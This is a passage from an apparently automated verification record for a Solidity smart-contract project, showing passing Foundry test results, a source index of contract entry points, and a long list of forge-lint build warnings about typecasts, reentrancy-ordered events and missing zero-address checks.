test_FrensTakeTwo() (gas: 266329)\n[PASS] test_JeetsAreReadLive() (gas: 2364108)\n[PASS] test_JeetsInPages() (gas: 8424463)\n[PASS] test_OpenAndClosedCrews() (gas: 1681759)\n[PASS] test_PassTheCaptaincy() (gas: 940680)\n[PASS] test_ProveAnAllocation() (gas: 1534389)\n[PASS] test_RanksAcrossLaunches() (gas: 5184173)\n[PASS] test_TheCaptaincyPassesWithTheIdentity() (gas: 760598)\n[PASS] test_TheRankIsTheHoldersNow() (gas: 1748137)\n[PASS] test_Tiers() (gas: 80885)\n[PASS] test_Unfren() (gas: 271974)\n[PASS] test_WithdrawAndDeclineAsks() (gas: 244060)\nSuite result: ok. 24 passed; 0 failed; 0 skipped; finished in 21.85ms (31.57ms CPU time)\n\nRan 28 tests for test/IMDNames.t.sol:IMDNamesTest\n[PASS] test_ABrokenRendererFallsBackToTheCard() (gas: 10710728)\n[PASS] test_AFeeParksWhenNoPoolCanTakeIt() (gas: 8869077)\n[PASS] test_ANewOwnerPaysTheTollToLink() (gas: 1022556)\n[PASS] test_ARoyaltyPaymentIsBurned() (gas: 560095)\n[PASS] test_AnyoneRegistersAnyFreeName() (gas: 614424)\n[PASS] test_BadNames() (gas: 75963)\n[PASS] test_LinkRules() (gas: 227615)\n[PASS] test_LinkTheNameToAnIdentity() (gas: 188843)\n[PASS] test_NoImdPaymentWithoutBothPools() (gas: 233452)\n[PASS] test_OneNamePerIdentityOneIdentityPerName() (gas: 929887)\n[PASS] test_Prices() (gas: 63586)\n[PASS] test_Primary() (gas: 249650)\n[PASS] test_RegisterForSomeoneElse() (gas: 605399)\n[PASS] test_RegisterWithImd() (gas: 955060)\n[PASS] test_RegisterWithImdRespectsMaxImd() (gas: 784770)\n[PASS] test_RegisteringMintsTheNameAndBurnsTheFee() (gas: 650210)\n[PASS] test_RegistrationRules() (gas: 227789)\n[PASS] test_RoyaltiesGoToTheBurner() (gas: 40917)\n[PASS] test_SellingTheIdentityTakesItDown() (gas: 170604)\n[PASS] test_SellingTheNameTakesItDown() (gas: 207919)\n[PASS] test_ShortNamesHaveShortNameTolls() (gas: 653414)\n[PASS] test_TextRecordsStartOverWithANewHolder() (gas: 217164)\n[PASS] test_TheArtistChangesTheArtAndOnlyTheArt() (gas: 409849)\n[PASS] test_TheBuiltInCard() (gas: 3442034)\n[PASS] test_TheNamesNewOwnerUnlinksAStaleLink() (gas: 235869)\n[PASS] test_TheTollFollowsEveryChangeOfHands() (gas: 214656)\n[PASS] test_TheTollInImd() (gas: 1089269)\n[PASS] test_Unlink() (gas: 207574)\nSuite result: ok. 28 passed; 0 failed; 0 skipped; finished in 34.58ms (65.00ms CPU time)\n\nRan 4 tests for test/Launch.t.sol:LaunchTest\n[PASS] test_DeploysOnAFreshChain() (gas: 190674)\n[PASS] test_FitsOneTransaction() (gas: 23419)\nLogs:\n  launch gas, four creations: 7030\n\n[PASS] test_PassesTheAdmissionScan() (gas: 17257523)\n[PASS] test_UnderTheCodeSizeLimit() (gas: 9813)\nSuite result: ok. 4 passed; 0 failed; 0 skipped; finished in 58.18ms (61.91ms CPU time)\n\nRan 26 tests for test/LARPBurner.t.sol:LARPBurnerTest\n[PASS] test_AFeeAlwaysGoesThroughWhateverTheBlockSpent() (gas: 2294498)\n[PASS] test_AGasEatingIMD6900IsSkippedNotFatal() (gas: 7938021)\n[PASS] test_AGasEatingPool4HookFallsToTheHooklessPool() (gas: 4096687)\n[PASS] test_AGenuineFailureIsNotMistakenForTooLittleGas() (gas: 864302)\n[PASS] test_ASwapOutOfGasReverts() (gas: 10077859)\n[PASS] test_AnEmptyPairPoolMeansItAllBurnsAsIMD() (gas: 817176)\n[PASS] test_AnIMD6900LegOutOfGasDeepDownReverts() (gas: 3914783)\n[PASS] test_AnIMD6900ThatWontBurnMeansItAllBurnsAsIMD() (gas: 779535)\n[PASS] test_AtMostMaxBurnPerCallAndPerBlockOfWaitingEth() (gas: 2341959)\n[PASS] test_BurnCallsBatchedInOneTransactionSellOneCap() (gas: 1029214)\n[PASS] test_BurnImdBurnsWhatArrivesInIMD() (gas: 513446)\n[PASS] test_BuysOnPool4First() (gas: 1063491)\n[PASS] test_MinImd() (gas: 955439)\n[PASS] test_NoGasLimitSkipsAHeavyIMD6900Leg() (gas: 68061264)\n[PASS] test_NoGasLimitSkipsARoute() (gas: 5892735)\n[PASS] test_NoQuoteWithoutBothPools() (gas: 297254)\n[PASS] test_NoReentry() (gas: 465354)\n[PASS] test_OnlyThePoolManagerCallsBack() (gas: 32785)\n[PASS] test_ParkedWhenNoPoolCanAndBurnedLater() (gas: 1371147)\n[PASS] test_QuoteIsTheHigherOfTheTwoPools() (gas: 1119688)\n[PASS] test_RoyaltiesArriveByPlainTransfer() (gas: 44059)\n[PASS] test_ShareBuysIMD6900AndBurnsIt() (gas: 841744)\n[PASS] test_SpacingAboveV4sLargestReverts() (gas: 11301)\n[PASS] test_SpacingsAreTakenUnsignedAndKeptAsInt24() (gas: 28075)\n[PASS] test_TheHooklessPoolIfPool4CantTakeIt() (gas: 1175492)\n[PASS] test_WethRoyaltiesAreUnwrappedAndSold() (gas: 1125069)\nSuite result: ok. 26 passed; 0 failed; 0 skipped; finished in 263.52ms (388.23ms CPU time)\n\nRan 1 test for test/LARP.invariant.t.sol:LARPInvariantTest\n[PASS]\nLARPInvariantTest invariants:\n[PASS] invariant_LiveMeansThePlacerHoldsIt\n[PASS] invariant_NoMoreLiveCopiesThanHeld\n[PASS] invariant_OneTokenOneSpot\n LARPInvariantTest invariants (runs: 128, calls: 8192, reverts: 0)\n\n╭-------------+--------------+-------+---------+----------╮\n| Contract    | Selector     | Calls | Reverts | Discards |\n+=========================================================+\n| LarpHandler | equip1155    | 1184  | 0       | 0        |\n|-------------+--------------+-------+---------+----------|\n| LarpHandler | equip721     | 1233  | 0       | 0        |\n|-------------+--------------+-------+---------+----------|\n| LarpHandler | giveCopy     | 1162  | 0       | 0        |\n|-------------+--------------+-------+---------+----------|\n| LarpHandler | giveIdentity | 1191  | 0       | 0        |\n|-------------+--------------+-------+---------+----------|\n| LarpHandler | giveMask     | 1198  | 0       | 0        |\n|-------------+--------------+-------+---------+----------|\n| LarpHandler | setFace      | 1111  | 0       | 0        |\n|-------------+--------------+-------+---------+----------|\n| LarpHandler | takeOff      | 1113  | 0       | 0        |\n╰-------------+--------------+-------+---------+----------╯\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 59.95s (59.94s CPU time)\n\nRan 10 test suites in 59.95s (60.41s CPU time): 150 tests passed, 0 failed, 11 skipped (161 total tests)\n","passed":true},{"durationMs":164,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"IMDNames.approve(address,uint256)\",\"IMDNames.execute(bytes32)\",\"IMDNames.link(uint256,uint256,uint256)\",\"IMDNames.linkWithImd(uint256,uint256,uint256)\",\"IMDNames.lockRenderer()\",\"IMDNames.onNoVerdict(bytes32,uint8,bytes32,uint16,uint16,bytes)\",\"IMDNames.onVerdict(bytes32,(bytes32,uint256,bytes32,uint8,bytes,uint256,uint64,uint64,bytes32,bytes32,uint16,uint16,uint16,uint64,uint64),bytes)\",\"IMDNames.propose((uint64,uint64,uint64,uint64),uint256)\",\"IMDNames.register(bytes32,address,uint256)\",\"IMDNames.registerWithImd(bytes32,address,uint256)\",\"IMDNames.safeTransferFrom(address,address,uint256)\",\"IMDNames.safeTransferFrom(address,address,uint256,bytes)\",\"IMDNames.setApprovalForAll(address,bool)\",\"IMDNames.setArtist(address)\",\"IMDNames.setPrimary(uint256)\",\"IMDNames.setRenderer(address)\",\"IMDNames.setText(uint256,string,string)\",\"IMDNames.transferFrom(address,address,uint256)\",\"IMDNames.unlink(uint256)\",\"LARP.clearFace(uint256)\",\"LARP.equip(uint256,uint256,address,uint256,uint8)\",\"LARP.resignAgent(uint256)\",\"LARP.setAgent(uint256,address)\",\"LARP.setAgentBySig(uint256,address,uint256,bytes)\",\"LARP.setFace(uint256,address,uint256)\",\"LARP.unequip(uint256,uint256)\",\"LARPBurner.burn(uint256)\",\"LARPBurner.burnImd()\",\"LARPBurner.receive()\",\"LARPBurner.unlockCallback(bytes)\",\"LARPLinks.disband(uint256)\",\"LARPLinks.foundCrew(uint256,bytes32,bool,uint256)\",\"LARPLinks.foundCrewWithImd(uint256,bytes32,bool,uint256)\",\"LARPLinks.fren(uint256,uint256)\",\"LARPLinks.invite(uint256,uint256,bool)\",\"LARPLinks.join(uint256,uint256)\",\"LARPLinks.kick(uint256,uint256)\",\"LARPLinks.leave(uint256)\",\"LARPLinks.passCaptain(uint256,uint256)\",\"LARPLinks.proveAlloc(uint64,uint256,address,uint256,bytes32[])\",\"LARPLinks.setOpen(uint256,bool)\",\"LARPLinks.unfren(uint256,uint256)\"],\"files\":{\".gitignore\":4,\"ADAPTATION.md\":137,\"AUDIT.md\":218,\"README.md\":182,\"foundry.toml\":30,\"launch.json\":49,\"src/IIMDNames.sol\":112,\"src/ILARP.sol\":120,\"src/IMDNames.sol\":358,\"src/LARP.sol\":330,\"src/LARPBurner.sol\":329,\"src/LARPLinks.sol\":457,\"src/Labels.sol\":53,\"src/SafeReads.sol\":63,\"src/SwarmPrices.sol\":333,\"test/Base.sol\":292,\"test/IMDNames.t.sol\":481,\"test/LARP.invariant.t.sol\":184,\"test/LARP.t.sol\":324,\"test/LARPAgents.t.sol\":269,\"test/LARPBurner.t.sol\":513,\"test/LARPItems.t.sol\":236,\"test/LARPLinks.t.sol\":515,\"test/Launch.t.sol\":134,\"test/MainnetFork.t.sol\":344,\"test/Mocks.sol\":89,\"test/SwarmPrices.t.sol\":340,\"test/fixtures/allocs.json\":118},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"0c13624fcafeb426fada9866538c891f037401746c624e549de0389ebf5a97d9","verifiedTreeHash":"41741f05a3f785c9dd550bf067966bcbc3934640","verifierVersion":"0.1.0+fb8278c5"},{"checks":[{"durationMs":52412,"exitCode":0,"name":"build","output":"Compiling 92 files with Solc 0.8.26\nSolc 0.8.26 finished in 52.27s\nCompiler run successful!\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/LARP.sol:111:33\n    │\n111 │         if (at == 0) return (0, false);\n    │                                 ━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/LARPBurner.sol:245:21\n    │\n245 │             return (true, r);\n    │                     ━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/LARPBurner.sol:248:21\n    │\n248 │             return (false, \"\");\n    │                     ━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/LARP.sol:120:64\n    │\n120 │         if (holder == address(0) || who == address(0)) return (false, holder);\n    │                                                                ━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/LARP.sol:121:36\n    │\n121 │         if (who == holder) return (true, holder);\n    │                                    ━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/LARP.sol:265:36\n    │\n265 │         if (at == 0) return (0, 0, false);\n    │                                    ━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[unsafe-typecast]: typecast can truncate values\n   ╭▸ src/SwarmPrices.sol:81:38\n   │\n81 │     bytes32 public constant ACTION = bytes32(\"oracle.request@oracle-1\");\n   │                                      ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n   │\n   ├ note: consider disabling this lint if you're certain the cast is safe\n   │       \n   │       // casting to 'bytes32' is safe because [explain why]\n   │       // forge-lint: disable-next-line(unsafe-typecast)\n   │       \n   │       \n   ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n    ╭▸ src/SwarmPrices.sol:129:17\n    │\n129 │     constructor(address intake, address oracleSigner, Prices memory start) {\n    │                 ━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n    ╭▸ src/SwarmPrices.sol:129:33\n    │\n129 │     constructor(address intake, address oracleSigner, Prices memory start) {\n    │                                 ━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n   ╭▸ src/LARPBurner.sol:97:9\n   │\n97 │         address pool4Hook,\n   │         ━━━━━━━━━━━━━━━━━\n   │\n   ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n    ╭▸ src/LARPBurner.sol:103:9\n    │\n103 │         address pairHook\n    │         ━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARPBurner.sol:125:16\n    │\n125 │         return int24(s);\n    │                ━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int24' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/LARPLinks.sol:208:9\n    │\n208 │         LARPBurner(payable(BURNER)).burn{value: msg.value}(minImd);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[block-timestamp]: usage of `block.timestamp` in a comparison may be manipulated by validators\n   ╭▸ src/LARP.sol:78:13\n   │\n78 │         if (block.timestamp > deadline) revert Expired();\n   │             ━━━━━━━━━━━━━━━━━━━━━━━━━━\n   │\n   ╰ help: https://getfoundry.sh/forge/linting/block-timestamp\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/LARP.sol:138:9\n    │\n138 │         emit AgentSet(imdId, holder, agent);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[calls-loop]: external call inside a loop\n    ╭▸ src/LARPBurner.sol:244:13\n    │\n244 │         try POOL_MANAGER.unlock(abi.encode(route, amount)) returns (bytes memory r) {\n    │             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/calls-loop\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/LARPBurner.sol:159:21\n    │\n159 │                     emit Bought(eth, imd, route);\n    │                     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/LARPBurner.sol:163:27\n    │\n163 │             if (imd == 0) emit Parked(eth);\n    │                           ━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/SwarmPrices.sol:167:9\n    │\n167 │         emit Proposed(requestId, number, msg.sender, next);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/LARPBurner.sol:233:9\n    │\n233 │         emit Burned(rest, share, burned6900);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/LARPBurner.sol:247:45\n    │\n247 │             if (gasleft() <= gasBefore / 4) revert TooLittleGas();\n    │                                             ━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/LARPLinks.sol:327:22\n    │\n327 │         (bool ok,) = LARP.canAct(c.captain, msg.sender);\n    │                      ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARPLinks.sol:342:39\n    │\n342 │         address distributor = address(uint160(w));\n    │                                       ━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint160' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARPLinks.sol:380:31\n    │\n380 │             j.token = address(uint160(t));\n    │                               ━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint160' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARP.sol:159:45\n    │\n159 │         return ok && answer.length >= 32 && bytes4(abi.decode(answer, (bytes32))) == 0x1626ba7e;\n    │                                             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'bytes4' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARPBurner.sol:195:43\n    │\n195 │                 pair, SwapParams(imdIs0, -int256(amount), imdIs0 ? MIN_PRICE_LIMIT : MAX_PRICE_LIMIT), \"\"\n    │                                           ━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARPBurner.sol:198:27\n    │\n198 │                 imdIs0 ? (int128(delta >> 128), int128(delta)) : (int128(delta), int128(delta >> 128));\n    │                           ━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARPBurner.sol:198:49\n    │\n198 │                 imdIs0 ? (int128(delta >> 128), int128(delta)) : (int128(delta), int128(delta >> 128));\n    │                                                 ━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARPBurner.sol:198:67\n    │\n198 │                 imdIs0 ? (int128(delta >> 128), int128(delta)) : (int128(delta), int128(delta >> 128));\n    │                                                                   ━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARPBurner.sol:198:82\n    │\n198 │                 imdIs0 ? (int128(delta >> 128), int128(delta)) : (int128(delta), int128(delta >> 128));\n    │                                                                                  ━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARPBurner.sol:199:30\n    │\n199 │             if (imdDelta != -int128(int256(amount)) || outDelta <= 0) revert Unfilled();\n    │                              ━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARPBurner.sol:199:37\n    │\n199 │             if (imdDelta != -int128(int256(amount)) || outDelta <= 0) revert Unfilled();\n    │                                     ━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/LARPLinks.sol:443:9\n    │\n443 │         (, c.faceCollection, c.faceTokenId, c.faceLive) = LARP.faceOf(imdId);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/LARPBurner.sol:202:13\n    │\n202 │             POOL_MANAGER.settle();\n    │             ━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARPBurner.sol:203:27\n    │\n203 │             uint256 out = uint128(outDelta);\n    │                           ━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/LARPLinks.sol:454:22\n    │\n454 │         (bool ok,) = LARP.canAct(imdId, msg.sender);\n    │                      ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARPBurner.sol:211:61\n    │\n211 │         int256 d = POOL_MANAGER.swap(key, SwapParams(true, -int256(amount), MIN_PRICE_LIMIT), \"\");\n    │                                                             ━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARPBurner.sol:212:27\n    │\n212 │         int128 ethDelta = int128(d >> 128);\n    │                           ━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARPBurner.sol:213:25\n    │\n213 │         int128 bought = int128(d);\n    │                         ━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARPBurner.sol:214:26\n    │\n214 │         if (ethDelta != -int128(int256(amount)) || bought <= 0) revert Unfilled();\n    │                          ━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARPBurner.sol:214:33\n    │\n214 │         if (ethDelta != -int128(int256(amount)) || bought <= 0) revert Unfilled();\n    │                                 ━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/LARPBurner.sol:215:9\n    │\n215 │         POOL_MANAGER.settle{value: amount}();\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARPBurner.sol:216:47\n    │\n216 │         POOL_MANAGER.take(IMD, address(this), uint128(bought));\n    │                                               ━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARPBurner.sol:217:27\n    │\n217 │         return abi.encode(uint256(uint128(bought)));\n    │                           ━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARPBurner.sol:217:35\n    │\n217 │         return abi.encode(uint256(uint128(bought)));\n    │                                   ━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n   ╭▸ src/SafeReads.sol:21:46\n   │\n21 │         return ok && w >> 160 == 0 ? address(uint160(w)) : address(0);\n   │                                              ━━━━━━━━━━\n   │\n   ├ note: consider disabling this lint if you're certain the cast is safe\n   │       \n   │       // casting to 'uint160' is safe because [explain why]\n   │       // forge-lint: disable-next-line(unsafe-typecast)\n   │       \n   │       \n   ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[uninitialized-local]: local variable is read before being initialized\n   ╭▸ src/Labels.sol:23:16\n   │\n23 │         while (n < 32 && label[n] != 0) ++n;\n   │                ━\n   │\n   ╰ help: https://getfoundry.sh/forge/linting/uninitialized-local\n\nwarning[uninitialized-local]: local variable is read before being initialized\n    ╭▸ src/LARPBurner.sol:233:34\n    │\n233 │         emit Burned(rest, share, burned6900);\n    │                                  ━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/uninitialized-local\n\nwarning[return-bomb]: external call with a gas limit may copy unbounded return data\n   ╭▸ src/SafeReads.sol:47:40\n   │\n47 │         (bool ok, bytes memory data) = target.staticcall{gas: gasCap}(call);\n   │                                        ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n   │\n   ╰ help: https://getfoundry.sh/forge/linting/return-bomb\n\nwarning[uninitialized-local]: local variable is read before being initialized\n    ╭▸ src/LARP.sol:310:15\n    │\n310 │             ++digits;\n    │               ━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/uninitialized-local\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARP.sol:314:36\n    │\n314 │             out[--digits] = bytes1(uint8(48 + value % 10));\n    │                                    ━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 